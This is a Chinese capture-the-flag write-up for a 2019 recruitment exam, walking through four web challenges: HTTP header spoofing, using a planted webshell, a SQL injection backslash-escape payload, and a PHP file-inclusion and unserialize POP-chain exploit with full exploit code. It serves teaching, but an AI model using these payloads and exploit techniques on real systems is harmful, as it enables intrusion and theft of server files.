2019GWHT考核题wp

admin 2024年8月17日14:26:19评论4 views字数 2437阅读8分7秒阅读模式

本来想着招新完讲完题就不用题解了,但是看见有些小朋友还是很懵逼,补上一篇

WEB

web签到题

网址:http://xiaorouji.cn:2334/web1/
这道题其实考察的是对http头的各种操作还有抓包,首先进去题目看到一堆骚话,完了以后就是问do you know GWHT browser?,很明显是要我们改访问的浏览器,接着是only accept www.gwht.com to visit this website,修改访问网站,然后you are not the localhost, prprprpr,要求本地访问,然后就是i only know Spanish......,明显是要改accept-language,出题人背锅了,这里当初谷歌的时候是es-es,结果没想到百度居然不是这个,导致一堆不匹配,坑死一堆小朋友……….最后是You have not logged in yet,改cookie就行,所以最终改出来的包是
2019GWHT考核题wp
接着通过抓包可以看到它会先跳去flag2333.php然后立刻转去noflag.php
2019GWHT考核题wp
所以最后我们看flag2333.php的包就能看到flag了
2019GWHT考核题wp

do u know 菜刀?

网址:http://xiaorouji.cn:2333/web2/
这道题进去首先看到一个假flag,但是同时还提示有个shell在这个网站里面
2019GWHT考核题wp
扫一下后台看见有个shell.php
2019GWHT考核题wp
访问一下试下
2019GWHT考核题wp
看到有个小马,接着就是菜刀连过去了
2019GWHT考核题wp
连过去以后可以看到一个flag.js
2019GWHT考核题wp
将它下下来打开看看,明显是aaencode加密
2019GWHT考核题wp
拿去网站解密出来是这段
2019GWHT考核题wp
明显是一张图片的base64编码,将它转图片
2019GWHT考核题wp
是个二维码,扫一下就出flag了

sql注入

网址:http://shifeng-kaze.cn:912/
先网页进去源码可以看到注入语句
2019GWHT考核题wp
可以看到它是在数据库选出一个密码然后和传过来md5加密的passwd对比,如果相等就登录成功,payload如下
2019GWHT考核题wp
登录成功以后就到了第二关了,还是一个sql注入的地方,要去找no和name,fuzz一下看一下过滤了什么
2019GWHT考核题wp
可以看到第一个参数过滤了\ # =,第二个参数过滤了‘`,所以我们可以利用单引号逃逸完成注入,最终payload如下,爆数据库爆表那些就不放上去了

1
no=-1\&name= union select val from gwhts limit 1,1 #

serialize’s revenge

网址:http://xiaorouji.cn:100/web4/
这题在robots.txt可以看到一部分源码

1
2
3
4
5
6
7
8
9
$file = $_GET['file'];
$text = $_GET['text'];
if (!!$text || file_get_contents($text,'r') === "hello ctf"){
echo "hi!"."<br>";
include ($file); //backdoor.php
}else{
echo "you are not my friend!";
exit();
}

可以看到有一个文件包含漏洞,利用php://filter去读文件出来
2019GWHT考核题wp
拿到了base64加密后的数据后解密就有源码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class Flag{
public $obj;
public function __construct(){
$this->obj = new Safe;
}
public function __toString(){
if (isset($this->obj)){
return $this->obj->read();
}else{
return "go away hacker";
}
}
}
class Secret{ //fllllllag.php
public $file;
public function read(){
return file_get_contents($this->file);
}
}
class Safe{
public function read(){
return "it's very safe!";
}
}
$secret = $_GET['secret'];
if (isset($secret)){
echo unserialize($secret);
}else{
echo "your hat is too black!";
}

接着就是审计源码了,可以看到有个FlagSecretSafe三个类,接着也可以看到Secret类有个file_get_contents函数,可以读取任意文件,同时也提示了fllllllag.php,但是没有可以引发这个函数的方法,最后看去Flag这个类,可以知道$obj其实是一个类,里面的__toString魔幻函数可以调用$obj这个类的read函数,因此最终的pop链就是构造Flag类,设定$obj为Secret类,Secret类的$file设定为fllllllag.php,最后序列化Flag这个类,反序列化时触发漏洞,exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class Flag{
public $obj;
public function __construct(){
$this->obj = new Secret;
}
public function __toString(){
if (isset($this->obj)){
return $this->obj->read();
}else{
return "go away hacker";
}
}
}
class Secret{ //fllllllag.php
public $file = "fllllllag.php" ;
public function read(){
return file_get_contents($this->file);
}
}
$flag = new Flag();
echo serialize($flag);

最后回到index.php去触发反序列化漏洞
2019GWHT考核题wp

FROM:Xi4or0uji

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月17日14:26:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2019GWHT考核题wphttp://cn-sec.com/archives/3074829.html

发表评论

匿名网友 填写信息